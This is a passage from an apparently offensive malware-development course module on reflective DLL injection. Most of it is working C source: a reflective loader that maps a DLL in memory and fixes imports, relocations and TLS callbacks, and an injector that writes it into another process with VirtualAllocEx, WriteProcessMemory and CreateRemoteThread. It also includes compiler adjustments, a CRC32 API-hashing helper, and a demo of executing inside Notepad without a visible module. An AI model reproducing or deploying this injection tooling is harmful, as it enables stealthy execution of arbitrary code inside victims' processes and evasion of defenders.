    if ((pPeBaseAddress = pVirtualAlloc(NULL, PeHdrs.pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
        return FALSE;
    }

    // Copying PE sections
    for (int i = 0; i < PeHdrs.pImgNtHdrs->FileHeader.NumberOfSections; i++) {
        memcpy(
            (PVOID)(pPeBaseAddress + PeHdrs.pImgSecHdr[i].VirtualAddress),
            (PVOID)(uReflectiveDllModule + PeHdrs.pImgSecHdr[i].PointerToRawData),
            PeHdrs.pImgSecHdr[i].SizeOfRawData
        );
    }

    // Calculating ReflectiveDllLdr.dll's entry point address 
    pDllMain = (fnDllMain)(pPeBaseAddress + PeHdrs.pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);

    // Fixing the IAT 
    if (!FixImportAddressTable(PeHdrs.pEntryImportDataDir, pPeBaseAddress))
        return FALSE;

    // Applying relocations
    if (!FixReloc(PeHdrs.pEntryBaseRelocDataDir, pPeBaseAddress, PeHdrs.pImgNtHdrs->OptionalHeader.ImageBase))
        return FALSE;

    // Setting up suitable memory permissions
    if (!FixMemPermissions(pPeBaseAddress, PeHdrs.pImgNtHdrs, PeHdrs.pImgSecHdr))
        return FALSE;

    // Set exception handlers of the injected PE (if exists)
    if (PeHdrs.pEntryExceptionDataDir->Size) {
        // Retrieve the function table entry
        PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFuncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pPeBaseAddress + PeHdrs.pEntryExceptionDataDir->Virtua
lAddress);
        // Register the function table
        if (!pRtlAddFunctionTable(pImgRuntimeFuncEntry, (PeHdrs.pEntryExceptionDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1, pPeBaseAd
dress)) {
        }
    }

    // Execute TLS callbacks (if exists)
    if (PeHdrs.pEntryTLSDataDir->Size) {
        // Retrieve the address of the TLS Directory.
        PIMAGE_TLS_DIRECTORY    pImgTlsDirectory        = (PIMAGE_TLS_DIRECTORY)(pPeBaseAddress + PeHdrs.pEntryTLSDataDir->VirtualAddress);
        // Get the address of the TLS Callbacks from the TLS Directory.
        PIMAGE_TLS_CALLBACK*    pImgTlsCallback         = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
        CONTEXT                 pCtx                    = { 0x00 };
        // Iterate through and invoke each TLS Callback until a NULL callback is encountered.
        for (; *pImgTlsCallback; pImgTlsCallback++)
            (*pImgTlsCallback)((LPVOID)pPeBaseAddress, DLL_PROCESS_ATTACH, &pCtx);
    }

    // Flushing the instruction cache
    pNtFlushInstructionCache((HANDLE)-1, NULL, 0x00);

    // Execute ReflectiveDllLdr.dll's Entrypoint
    return pDllMain((HMODULE)pPeBaseAddress, DLL_PROCESS_ATTACH, NULL);
}

The Reflective DLL's Entry Point

For the sake of simplicity, the entry point of the reflective DLL will trigger a single call to the MessageBoxA API. This call is resolved through the FixImportAddressTable function invoked by ReflectiveFunction.

CPP
VOID PayloadFunction() {
    MessageBoxA(NULL, "Hello from Reflective DLL Ldr!", "MaldevAcademy", MB_OK | MB_ICONINFORMATION);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {

    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        PayloadFunction();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Keep in mind that because the reflective DLL won't run like a typical DLL module, such as with LoadLibraryA, the DllMain function can essentially run any code; it's not restricted to just initialization tasks. This is because the concept of a "DLL deadlock" doesn't apply when executing a reflective DLL. We discussed DLL deadlock in the earlier "Building An Evasive DLL Payload Loader" module.

Compiling The Reflective DLL

Unfortunately, even with the complete implementation, executing the reflective DLL can cause the target process to crash. This happens due to certain default compilation flags set by the Visual Studio compiler. Therefore, when creating a reflective DLL, it's crucial to minimize the compiler's optimizations because having any extra code introduced by the compiler can alter the code execution path, potentially leading to the process crashing. This occurs because the ReflectiveFunction is executed as position-independent shellcode and therefore any additional compilation adjustments might require PE relocation which was not handled.

The flags that were disabled in the CRT Library Removal & Malware Compiling module (e.g. Security Check Flag (/GS)) will add additional code snippets at the start of functions as shown in the following image.

Reflective DLL Injection figure

Versus when applying the steps in the CRT Library Removal & Malware Compiling module:

Reflective DLL Injection figure

Additionally, one can disable the /JMC Just My Code debugging) flag, which inserts calls to the compiler-added __CheckForDebuggerJustMyCode function at the start of certain functions. Disabling this flag is shown in the following image:

Reflective DLL Injection figure

Applying these compilation adjustments will remove compiler-invoked functions from the reflective DLL's code, ensuring it runs in memory without altering the execution path.

Building The Reflective DLL Injector

After completing the reflective DLL implementation, the next task involves constructing the injector. The reflective DLL injector will have the duty of inserting the reflective DLL into the target process and then executing the ReflectiveFunction function by determining its address. Therefore, the reflective DLL isn't entirely self-independent and will require a specialized loader for computing the ReflectiveFunction function's address.

Our injector will be referred to as RlfDllInjector.exe,

GetReflectiveFunctionOffset Function - Find ReflectiveFunction's RVA

RlfDllInjector.exe will begin by reading the reflective DLL file from the disk. Then after reading the reflective DLL file from the disk, it will invoke a function called GetReflectiveFunctionOffset to obtain the RVA of the ReflectiveFunction function from the base address. This offset is crucial for the execution of the ReflectiveFunction function later when the reflective DLL is written into the target process.

For example, if memory allocation in the target process is done using VirtualAllocEx, the address of the ReflectiveFunction function will be the result of the VirtualAllocEx call plus the retrieved offset, and this address will be executed by CreateRemoteThread.

The GetReflectiveFunctionOffset function iterates through the function export table of the reflective DLL, searching for the ReflectiveFunction function. Once it is found, GetReflectiveFunctionOffset returns its RVA. Below is the code for GetReflectiveFunctionOffset, which takes only one parameter, ReflectiveFunction, representing the base address of the read reflective DLL file.

CPP
#define     EXPORTED_FUNC_NAME       "ReflectiveFunction"
CPP
DWORD GetReflectiveFunctionOffset(IN ULONG_PTR uRflDllBuffer) {

    PIMAGE_NT_HEADERS               pImgNtHdrs                      = NULL;
    PIMAGE_EXPORT_DIRECTORY         pImgExportDir                   = NULL;
    PDWORD                          pdwFunctionNameArray            = NULL;
    PDWORD                          pdwFunctionAddressArray         = NULL;
    PWORD                           pwFunctionOrdinalArray          = NULL;

    pImgNtHdrs = (uRflDllBuffer + ((PIMAGE_DOS_HEADER)uRflDllBuffer)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return 0x00;

    pImgExportDir              = ( PIMAGE_EXPORT_DIRECTORY ) (uRflDllBuffer + RVA2Offset(pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_E
NTRY_EXPORT].VirtualAddress, uRflDllBuffer));
    pdwFunctionNameArray       = ( PDWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfNames, uRflDllBuffer));
    pdwFunctionAddressArray    = ( PDWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfFunctions, uRflDllBuffer));
    pwFunctionOrdinalArray     = ( PWORD )  (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfNameOrdinals, uRflDllBuffer));

    for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){

        PCHAR pcFunctionName = (PCHAR)(uRflDllBuffer + RVA2Offset(pdwFunctionNameArray[i], uRflDllBuffer));

        if (strcmp(pcFunctionName, EXPORTED_FUNC_NAME) == 0) 
            return RVA2Offset(pdwFunctionAddressArray[pwFunctionOrdinalArray[i]], uRflDllBuffer);
    }

    printf("\t[!] Cound'nt Resolve %s's Offset! \n", EXPORTED_FUNC_NAME);
    return 0x00;
}

RVA2Offset Helper Function

The GetReflectiveFunctionOffset function uses a helper function called RVA2Offset to transform an RVA into a file offset. Using RVAs directly could potentially result in accessing invalid addresses or, at the very least, retrieving incorrect data. This is because an RVA is only accurate when the PE is mapped, for instance, through methods like LoadLibraryA or MapViewOfFile. Otherwise, the RVA may contain an incorrect offset, and therefore it is important to use the file offset instead.

Below is the RVA2Offset function, which takes two parameters:

  • dwRVA The RVA that needs to be converted into a file offset.
  • pBaseAddress The base address of the read reflective DLL file.
CPP
DWORD RVA2Offset(IN DWORD dwRVA, IN PBYTE pBaseAddress) {

    PIMAGE_NT_HEADERS        pImgNtHdrs             = NULL;
    PIMAGE_SECTION_HEADER    pImgSectionHdr         = NULL;

    pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBaseAddress + ((PIMAGE_DOS_HEADER)pBaseAddress)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return 0x00;

    pImgSectionHdr  = (PIMAGE_SECTION_HEADER)((PBYTE)&pImgNtHdrs->OptionalHeader + pImgNtHdrs->FileHeader.SizeOfOptionalHeader);

    // Iterates through the PE sections
    for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++){

        // If the RVA is located inside the "i" PE section
        if (dwRVA >= pImgSectionHdr[i].VirtualAddress && dwRVA < (pImgSectionHdr[i].VirtualAddress + pImgSectionHdr[i].Misc.VirtualSize))
            // Calculate the delta and add it to the raw pointer
            return (dwRVA - pImgSectionHdr[i].VirtualAddress) + pImgSectionHdr[i].PointerToRawData;
    }

    printf("\t[!] Cound'nt Convert The 0x%0.8X RVA to File Offset! \n", dwRVA);
    return 0x00;
}

InjectAndRunRflDll Function - Execute ReflectiveFunction

Once the offset of the ReflectiveFunction function is obtained, the following step is to execute it. To do this, the InjectAndRunRflDll function below is used. InjectAndRunRflDll utilizes a straightforward and well-known method of injecting the reflective DLL into the target process by using the VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread WinAPIs, treating the reflective DLL as if it were shellcode.

The only difference from typical shellcode execution scenarios is that CreateRemoteThread doesn't directly execute the base address returned by VirtualAllocEx. Instead, the base address is added to the ReflectiveFunction function offset retrieved from GetReflectiveFunctionOffset. This newly calculated address represents the entry of the ReflectiveFunction function in remote memory, and it is the one that will be executed.

InjectAndRunRflDll accepts four parameters:

  • hProcess The handle of the target process. This handle is obtained through another auxiliary function before calling InjectAndRunRflDll. dwRflFuncOffset The offset of the ReflectiveFunction function.
  • pRflDllBuffer The base address of the read reflective DLL file.
  • dwRflDllSize The size of the read reflective DLL file.
CPP
BOOL InjectAndRunRflDll(IN HANDLE hProcess, IN DWORD dwRflFuncOffset, IN PBYTE pRflDllBuffer, IN DWORD dwRflDllSize) {

    PBYTE       pAddress                = NULL;
    SIZE_T      sNumberOfBytesWritten   = NULL;
    HANDLE      hThread                 = NULL;
    DWORD       dwThreadId              = 0x00;

    if (!(pAddress = VirtualAllocEx(hProcess, NULL, dwRflDllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ))) {
        printf("\t[!] VirtualAllocEx Failed With Error: %d \n", GetLastError());
        return FALSE;
    }

    if (!WriteProcessMemory(hProcess, pAddress, pRflDllBuffer, dwRflDllSize, &sNumberOfBytesWritten) || dwRflDllSize != sNumberOfBytesWritten) {
        printf("\t[!] WriteProcessMemory Failed With Error: %d \n", GetLastError());
        return FALSE;
    }

    if (!(hThread = CreateRemoteThread(hProcess, NULL, 0x00, (LPTHREAD_START_ROUTINE)(pAddress + dwRflFuncOffset), NULL, 0x00, &dwThreadId))) {
        printf("\t[!] CreateRemoteThread Failed With Error: %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

Reflective DLL Injector Command-Line Usage

RlfDllInjector.exe is designed to accept two command-line arguments:

1. -rfldll <value> This argument represents the path to the reflective DLL file that needs to be read.

2. -p <value> This argument indicates the name of the target process to inject.

Following the parsing of these command-line arguments, the injector proceeds to use a helper function named ReadReflectiveDll to read the contents of the reflective DLL file. Additionally, it calls another helper function, GetRemoteProcessHandle, to obtain the handle of the user-provided target process. Once these preliminary steps are completed, the injector proceeds to invoke the InjectAndRunRflDll function, which ultimately executes the reflective DLL within the target process.

Demo

The image below shows the reflective DLL injector in action, injecting the reflective DLL into the Notepad.exe process.

Reflective DLL Injection figure

Furthermore, one can see that there is no ReflectiveDllLdr.dll DLL module loaded into the Notepad.exe process, although ReflectiveDllLdr.dll was injected and executed.

Reflective DLL Injection figure
Diagram

Companion Project & Source Code

10 readable source/config files extracted directly from the archive

Download Module 29 - ReflectiveDllLdr.zip
0.9 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>
#include <stdio.h>


CONST CHAR* g_cAPINames[] = {
	"LoadLibraryA",
	"VirtualAlloc",
	"VirtualProtect",
	"RtlAddFunctionTable",
	"NtFlushInstructionCache",
	NULL
};


#define HASH "CRC32"


UINT32 CRC32B(LPCSTR cString) {

	UINT32      uMask	= 0x00,
				uHash	= 0xFFFFFFFF;
	INT         i		= 0x00;

	while (cString[i] != 0) {

		uHash = uHash ^ (UINT32)cString[i];

		for (int ii = 0; ii < 8; ii++) {

			uMask = -1 * (uHash & 1);
			uHash = (uHash >> 1) ^ (0xEDB88320 & uMask);
		}

		i++;
	}

	return ~uHash;
}




int main() {
	
	for (int i = 0; g_cAPINames[i] != NULL; i++)
		printf("#define \t %s_%s \t 0x%0.8X\n", g_cAPINames[i], HASH, CRC32B(g_cAPINames[i]));

	printf("#define \t %s_%s \t 0x%0.8X\n", "kernel32dll", HASH, CRC32B("kernel32.dll"));
	printf("#define \t %s_%s \t 0x%0.8X\n", "ntdlldll", HASH, CRC32B("ntdll.dll"));

	return 0;
}



Full Archive Manifest (13 files inside .zip)
  • ReflectiveDllLdr/HashCalculator/HashCalculator.c
  • ReflectiveDllLdr/HashCalculator/HashCalculator.vcxproj
  • ReflectiveDllLdr/HashCalculator/HashCalculator.vcxproj.filters
  • ReflectiveDllLdr/HashCalculator/HashCalculator.vcxproj.user
  • ReflectiveDllLdr/ReflectiveDllLdr.sln
  • ReflectiveDllLdr/ReflectiveDllLdr/DllMain.c
  • ReflectiveDllLdr/ReflectiveDllLdr/ReflectiveDllLdr.vcxproj
  • ReflectiveDllLdr/ReflectiveDllLdr/ReflectiveDllLdr.vcxproj.filters
  • ReflectiveDllLdr/ReflectiveDllLdr/ReflectiveDllLdr.vcxproj.user
  • ReflectiveDllLdr/RlfDllInjector/RlfDllInjector.vcxproj
  • ReflectiveDllLdr/RlfDllInjector/RlfDllInjector.vcxproj.filters
  • ReflectiveDllLdr/RlfDllInjector/RlfDllInjector.vcxproj.user
  • ReflectiveDllLdr/RlfDllInjector/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.